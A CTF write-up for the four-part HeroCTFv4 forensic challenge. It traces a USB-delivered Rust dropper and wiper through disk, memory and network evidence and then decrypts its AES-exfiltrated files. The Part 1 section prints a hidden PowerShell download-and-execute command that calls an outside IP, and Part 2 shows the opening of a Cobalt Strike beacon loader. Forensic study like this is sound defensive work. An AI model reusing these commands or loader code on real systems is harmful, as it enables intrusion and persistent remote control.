HeroCTFv4 - Where_all_problems_starts
HeroCTFv4 - Forensic - Where all problems start
This is the write-up of “Where all problems start”, a forensic challenge of the HeroCTFv4 created by Worty . It is divided in four parts with four different files.
Part 1 - USB parition
For a change of pace, a company has been attacked again... Nevertheless
, the means used here is quite original, indeed, it would be apparently
a food delivery man who would be at the origin of the initial
compromise... For your first analysis, you will have to found what
the USB key that the delivery man put in the computer contains.
Could you provide us the malicious URL used to download something ?
In this part, we have a disk dump of the USB key, so let’s analyze it.
usb.dump: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", sectors/cluster 8, Media descriptor 0xf8, sectors/track 62, heads 124, hidden sectors 32, sectors 7831282 (volumes > 32 MB), FAT (32 bit), sectors/FAT 7640, reserved 0x1, serial number 0x9c286c52, unlabeled
First, we could try to mount it : sudo mount usb.dump /mnt
Nothing interesting, let’s look with testdisk
if we could see something (removed file ?).
We see that it’s a FAT32 partition :
We could list the files of the partition with Boot and List menu :
We see here that there is a document which was removed : “Important_Document.lnk”. We dump it.
➜ part1 file Important_Document.lnk
Important_Document.lnk: MS Windows shortcut
This is a LNK file, just a symbolic link on Windows, it’s very used to hide backdoors.
We just cat
it and we extract this data :
powershell.exe -Nop -sta -noni -w hidden -encodedCommand YwBkACAAQwA6AFwAVQBzAGUAcgBzAFwAVwBvAHIAdAB5AFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgADsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEANAA2AC4ANQA5AC4AMQA1ADYALgA4ADIALwBpAG0AZwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAGkAZQB4AHAAbABvAHIAZQByADYANAAuAGUAeABlACIAIAA7ACAALgBcAGkAZQB4AHAAbABvAHIAZQByADYANAAuAGUAeABlAA==
This is a malicious powershell command with a base64 argument. The thing to note here is base64 needs to be in UTF-16, so we use an online decoder to decode it : https://the-x.cn/en-US/base64
cd C:\Users\Worty\AppData\Local\Temp\ ; Invoke-WebRequest -Uri "http://146.59.156.82/img.png" -OutFile "iexplorer64.exe" ; .\iexplorer64.exe
These are the commands executed, there is a web request on 146.59.156.82 where the file img.png is dropped as iexplorer64.exe and launched after.
So we have our flag, the malicious url : Hero{http://146.59.156.82/img.png}
Part 2 - Disk parition
Difficulty : very-hard
Well, the USB key was pretty obvious! You are now provided with a dump
of the file system of the infected machine. Can you identify the
actions of the malware that was loaded from the usb drive?
For these part, we have the windows image disk of the victim. We need to find a flag, or parts of flag somewhere, linked to what we found if the first part.
Firstly, I mounted the disk with extracting the partition with testdisk
because EFI and MS partitions prevents me to mount the file system. (It’s a windows partition)
Next, I search for the malware of the part 1 (iexplorer64.exe) :
Windows/System32/iexplorer64.exe
Windows/Prefetch/IEXPLORER64.EXE-E115DED1.pf
We find it, and we start the analysis of it.
At the moment, I launched Ghidra and start to strings it and I found Rust patterns .. I just closed Ghidra quickly x)
So let’s analyze the strings :
Many encoded patterns, we could try to decode them if we could find some information :
I like using this website : https://www.dcode.fr/cipher-identifier , pretty cool to recognize baseXX patterns.
41AMoD4RLwE7h2REtSWSGfUFu=
is base58 -> Hero{p3rs0n4l_3v1l
We find a part of the flag.
There is also this string :
Referring to the documentation : https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks
This powershell command is used to create a planning task and run the bc.ps1
file the 22/05/2022 and also launched an echo command.
The argument is 4xZkKhuR78J21Hwfsp3tmEDcS
which is base58 also : _m4lw4r3_n0t_fl4g_
.
We now have two parts of the flag. We could focus the planned task.
The name of the task is apocalypse
and the file launched is located in \\wsl$\Ubuntu\tmp\
which is a WSL folder. WSL for Windows Subsystem for Linux allows Windows users to run Linux on Windows. Our goal if to find the content of bc.ps1.
Windows tasks are in the Windows/System32/Tasks/
folder and are included by XML files. For apocalipse
:
...
<Actions Context="Author">
<Exec>
<Command>\\\\wsl$\\Ubuntu\\tmp\\bc.ps1</Command>
<Arguments>-c 4xZkKhuR78J21Hwfsp3tmEDcS</Arguments>
</Exec>
</Actions>
...
We see more precisely the flag that we found, it is an argument of the bc.ps1 file.
Now we need google to find, where WSL system is located on the files ystem. We find this PATH (https://askubuntu.com/questions/759880/where-is-the-ubuntu-file-system-root-directory-in-windows-subsystem-for-linux-an):
➜ LocalState ls
ext4.vhdx
➜ LocalState file ext4.vhdx
ext4.vhdx: Microsoft Disk Image eXtended
```We have the ext4 partition (vhdx) which is the Ubuntu WSL partition. Now we need to find how to mount it.
This github gist is really cool for that : https://gist.github.com/allenyllee/0a4c02952bf695470860b27369bbb60d
We reuse the script and change the mount command by `sudo mount -o rw,nouser /dev/nbd0 mnt` because there isn't subvolumes in our case, we just have the ext4 partition.
```➜ part2 sh mount_vhdx.sh ext4.vhdx mnt
rmmod: ERROR: Module nbd is not currently loaded
➜ part2 head mnt/tmp/bc.ps1
Set-StrictMode -Version 2
#YnlfZDNmM25kM3J9
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
We have the content of bc.ps1 ! Perfect, we read it and at the top we find a comment in base64 -> YnlfZDNmM25kM3J9
-> by_d3f3nd3r}
.
We now have the 3 parts, we concatenate them and flagz : Hero{p3rs0n4l_3v1l_m4lw4r3_n0t_fl4g_by_d3f3nd3r}
PS: The bc.ps1 was just a powershell Cobalt Strike beacon, nothing interesting with it later.
Part 3 - Memory Dump
The malware was therefore custom and specifically targeted this company
, so there is no way to use known databases to identify its different
keys...
There is (or are) some malicious connexion(s) too...
This malware seems to act like a droper for another ones, but we are
not really sure.. could you find some informations to confirm that ?
Flag Format : Hero{ip:port-deleted_file_1-deleted_file_2-path_of_malware}
Example :
Hero{198.56.23.41:1337-superimage.png-mymarks.txt-C:\Programmes\superevil.exe
For this third section we have a memory dump, so we need to use volatility to find the requested information.
We quickly find the volatility profile with imageinfo
plugin : Win10x64_19041
Then we could start to use pstree
plugin to list the processes with order :
We have the powershell command which run iexplorer64, etc…
But let’s focus on information asked. We need to find two deleted files. There was this string on the malware :
C:\Users\j.bertrand\Documents\*.*
This makes us think of a form of wiper which is going to remove all files in this directory, this idea could be confirmed by the statement of the challenge : “The malware was therefore custom and specifically targeted this company”.
We use strings and strings -el on the memory dump. Don’t forget to use -el
to read UTF-16 strings.
Now grep part :) :
...
{"displayText":"todo.txt","activationUri":"ms-shellactivity:","appDisplayName":"Bloc-notes","description":"C:\\Users\\j.bertrand\\Documents\\todo.txt","backgroundColor":"b
lack","contentUri":"file:///C:/Users/j.bertrand/Documents/todo.txt?VolumeId={3DF0DA5B-0A80-4E0A-BDAE-E9932FC1110A}&ObjectId={4C53AD6C-DDD4-11EC-9F30-000C2939E9D1}&KnownFol
derId=Local Documents&KnownFolderLength=29"}
...
{"displayText":"background.bmp","activationUri":"ms-shellactivity:","appDisplayName":"Paint","description":"C:\\Users\\j.bertrand\\Documents\\background.bmp","backgroundCo
lor":"black","contentUri":"file:///C:/Users/j.bertrand/Documents/background.bmp?VolumeId={3DF0DA5B-0A80-4E0A-BDAE-E9932FC1110A}&ObjectId={4C53AD7A-DDD4-11EC-9F30-000C2939E
9D1}&KnownFolderId=Local Documents&KnownFolderLength=29"}
...
We find two files right here :
C:/Users/j.bertrand/Documents/todo.txt
open by notepad.exeC:/Users/j.bertrand/Documents/background.bmp
open by mspaint.exe
Both of these files can’t be found with the filescan volatility plugin. So we found the two files.
Now we need to find an IP and a Port which refers to a strange connection.
I had a hard time on this part because I didn’t find any strange connection IP except the IP we found on part one.
The problem here was with volatility2. The plugin netscan
didn’t show me the malicious connection.
After some time, I decided to try the network connection plugin of volatility3, and we found something interesting.
python3 volatility3/vol.py -f ./memory.dmp windows.netscan.NetScan
...
0xd88f5e3d3050 TCPv4 172.16.128.129 59533 161.97.163.247 80 CLOSE_WAIT 4316 powershell.exe 2022-05-27 15:58:27.000000
...
8 minutes after the malware was run, there is this connection on the ip 161.97.163.247 and port 80, for sure http connection from a powershell process. I google the IP to see if it’s not a microsoft one’s, and it’s a Contabo IP (VPS provider), smells good for us.
To confirm this, let’s grep http://161.97.163.247
.
http://161.97.163.247/
http://161.97.163.247/dot.gif
http://161.97.163.247/dot.gif
http://161.97.163.247/VfZF
http://161.97.163.247/VfZF
http://161.97.163.247/VfZF
http://161.97.163.247/VfZF
http://161.97.163.247/dot.gif
Now we are sure that’s the right way, the http server is actually down, we have the ip and the port : ip 161.97.163.247 & port 80
We could also see that powershell was launched in the last commands with the cmdline
plugin of volatility. Http connections and it corresponds to what we see in netscan plugin temporality.
Last goal was to find the original iexplorer64.exe PATH, I struggled a lot on this, but it was very easy, the PATH was just what we found on part 2 : C:\Windows\System32\iexplorer64.exe
. So the answer wasn’t this path : C:\Users\j.bertrand\AppData\Local\Temp\iexplorer64.exe
, where the program was launched (by the LNK file). But C:\Windows\System32\
where the malware was duplicated on.
PS : I’ve gone too far with looking at prefetch files and EVTX but it was useless.
Concatenate all of the informations and we have a flagz : Hero{161.97.163.247:80-background.bmp-todo.txt-C:\Windows\System32\iexplorer64.exe}
Part 4 - PCAP Capture
A network administrator has woken up and tells us that he makes network
dumps very frequently. Moreover, the malware seems to have exfiltrated
files but we are not sure and the capture seems unreadable... it's up
to you to find the exfiltrated files!
Now the last part of the challenge, we have a PCAP file so let’s analyze it with wireshark.
There are many web and https connections on youtube, twitter, etc… During the challenge I was faked by the length of UDP packets (1337) x) , I thought that it was a strange UDP exfiltration but with many packets. The thing is the protocol used was HTTP3, and It used UDP. I confirmed this wrong idea with the IPv6 destination ips. I googled them and at each time, it corresponds to google or twitter, not a C2.
With many packets like this, the idea was to filter destination IP. With this, we find again the VPS IP that we found on part 3 : 161.97.163.247 .
If we filter destination packets on wireshark :
We see strange TCP and IPv4 requests on 1337 port of 161.97.163.247, looks good.
I extract these packets on a file for a better analysis. If we follow TCP streams :
We find 3 exfiltrations of data (two of them on the images). Obviously, this data is encrypted, so our goal is to decrypt them. Packets lengths are multiples of 16 which could we related to AES.
That’s all for the forensic part, now we need to reverse the malware to find a key or something to decrypt the data.
My reverse skills are very limited, so I make contribute my teammate SeulAParis(https://twitter.com/seulaparis) to help me on the reverse part.
He will explain to you of he managed to decrypt the data.
Reverse-engineering the Rust malware
During the CTF, I was given this malware with a bit of context as to what we already knew about it:
- It serves as a dropper for a powershell file that is a Cobalt Strike beacon.
- It is also a wiper.
With this information, I was supposed to reverse-engineer it to find the last flag of the forensic series.
A brief overview of the file informs us that the malware was written in Rust and that its symbols have been stripped. I cruelly lack experience in Rust reverse-engineering (I can barely even write Rust to begin with), but I figure classic tools like cutter and IDA will be enough for it to work. I also lack experience with using proper tools for reverse engineering, that is why I switch from one to the other (I mostly use Cutter for its decompiler, since I am not enough of an evil hacker to pirate IDA).
Cutter (and Ghidra decompiler)
With cutter I tried to retrieve the source code of the main function. After a few hours of staring into the void and trying to make sense of what I was seeing, I decided that was not the way to go. A few things I managed to gather from this analysis however were:
- Main’s address is 0x22f0.
- The position of the powershell dropper code: it loads a long string of base64 into memory, opens a file in the WSL file system, decodes the base64, decrypts the result (I don’t know how), and puts it into the file. Working with Itarow allowed me to see the content of the decrypted powershell file (whose length matched my encrypted string’s length), that he had managed to find in the part 2.
- A few weird strings, the position of the function that lists all the files to wipe (because it takes
C:\Users\j.bertrand\Documents\*.*
as an argument), but I had a lot of trouble making sense of all of it.
The role of each function was guessed by looking at the arguments that it took: a function that takes a filename as input is likely to be an open() equivalent, one that takes base64 as input is likely to be some kind of base64 decode, and so on…
At this point I was losing faith in Cutter and starting to think about opening IDA. Talking with Itarow lead us to believe that before the files were wiped, they were sent on the network to a C&C server, because of what he could see in a network capture: the problem was that these files were ciphered, and this made the goal of the challenge to decipher them. This also lead me to believe that we might be able to shorten the reverse engineering step of the challenge by making some educated crypto guesses.
IDA
Before taking out the big guns, I went back to the basics to see what libs might have been used in the creation of the malware:
>(°~°)< $ strings iexplorer64.exe | grep registry
C:\Users\w0rty\.cargo\registry\src\github.com-1ecc6299db9ec823\base64-0.13.0\src\decode.rs
C:\Users\w0rty\.cargo\registry\src\github.com-1ecc6299db9ec823\aes-0.8.1\src\soft\fixslice64.rs
PadErrorOverflow when calculating number of chunks in inputC:\Users\w0rty\.cargo\registry\src\github.com-1ecc6299db9ec823\base64-0.13.0\src\decode.rs
internal error: entered unreachable codecalled `Option::unwrap()` on a `None` valueC:\Users\w0rty\.cargo\registry\src\github.com-1ecc6299db9ec823\glob-0.3.0\src\lib.rs
[...]
We already knew where the base64 lib had been used, and we could also expect that the glob lib was used to list the files in the “Documents” folder of j.bertrand.
That left us with the AES lib as being the only one whose precise use was still undetermined!
Itarow sent me the three files that he thought might be encrypted by the malware before being sent to the C&C. He was pretty sure they were being sent to the C&C, so we had reason to think it was the malware sending them.
>(°~°)< $ ls -lrt encs/
-rw-r--r-- 1 ani podracer 208 May 28 18:04 enc_maybe
-rw-r--r-- 1 ani podracer 16480 May 28 18:06 enc_maybe2
-rw-r--r-- 1 ani podracer 112 May 28 18:08 enc_maybe3
The first thing we need to check to see if our AES hypothesis is valid is the file lengths…
>>> 208 % 16
0
>>> 16480 % 16
0
>>> 112 % 16
0
Since AES works with 16 byte blocks, we have a strong indicator here that these files might have been encrypted with… AES!
To go further, we would need a key (and maybe an IV, depending on which AES mode was being used). I decided to use IDA and only look at the disassembly
Among the interesting strings I had found with Cutter earlier on, there were:
- “tjaHIm79Qa1IjDuAhnsDCxrtpyUiaAoO”
- “hello world! this is my plaintext.”
- “src\main.rs”
I tried to use the “tjaHIm” string as a key for ECB AES, but it didn’t work, so I had to keep on searching.
So I decided to jump to the code that used these strings (loc_1400027b9
), since one of our ideas was that one of the encrypted files would match the src/main.rs file. Also because the “tjaHIm…” string is 32 bytes long, which could be the length of an AES key.
I gazed upon the code in the graph view of IDA and was still struggling to make any sense of it. But I could at least describe an overview of what was going on:
- The “hello world! …” string is loaded from memory.
- The “tjaHIm …” string is loaded… but ONLY the first half (16 bytes) of it!
- Some operations are done (like… setting up the AES cipher?)
- The second half of “tjaHIm …” is loaded from memory.
- 0xe0e0e0e0e0e0e0e being loaded into RAX, and placed onto the stack so that it made the string “hello world! this is my plaintext.\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e”… This is the string being padded to a 16 byte length multiple! This is exactly what is done before an AES encryption operation!
- Two function calls
All of this information is enough to reconstruct the AES ciphering process (and parameters). The padding operation serves as a marker: we can suppose it is made right before the “true” encryption operation, which allows us to separate the process in two: the operations made before the padding would be key expansion and stuff, whereas the operations made after the padding would be proper encryption. Since the second half of the mysterious “tjaHIm …” string is loaded into memory after the alleged key setup, we are led to believe that the first half of this string is the AES key, whereas the second half of it would be an IV. It has the right length for it!
The only thing missing is the AES mode used, but since we think we have a key and an IV, it can’t be ECB. CBC is very popular (among CTF players at least, I don’t know about real life :S ), so that is went for for my first attempt. To my great amazement… It worked!
>(°~°)< $ ./tester.py
b"Hello {{firstname}} {{lastname}},\n\nWelcome to our company !\n\nHope you'll enjoy it !\n\nYou can feel in touch with us by reaching us via {{email}} or {{phonenumber}}\n\nBest regards,\n\n{{signature}}\n\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f"
We can see our beloved AES padding at the end.
I scripted the decryptionning of the rest of all of the files at once:
#!/usr/bin/python3
from Crypto.Cipher import AES
key = b"tjaHIm79Qa1IjDuA"
iv = b"hnsDCxrtpyUiaAoO"
with open("encs/enc_maybe", "rb") as f:
enc = f.read()
aes = AES.new(key, AES.MODE_CBC, iv=iv)
print(aes.decrypt(enc))
with open("encs/enc_maybe2", "rb") as f:
enc = f.read()
aes = AES.new(key, AES.MODE_CBC, iv=iv)
dec = aes.decrypt(enc)
with open("encs/dec_maybe2", "wb") as f:
f.write(dec)
with open("encs/enc_maybe3", "rb") as f:
enc = f.read()
aes = AES.new(key, AES.MODE_CBC, iv=iv)
print(aes.decrypt(enc))
It turns out enc_maybe2 was an opendocument spreadsheet, and the flag was inside one of its cells :D
Flag : Hero{024bcd670b1a35fef0ec6a547a20cfbc}
Conclusion
Thanks Worty for this awesome challenge which covers different analysis of multiples files, and thanks SeulAParis for his help and contribution for the last part :)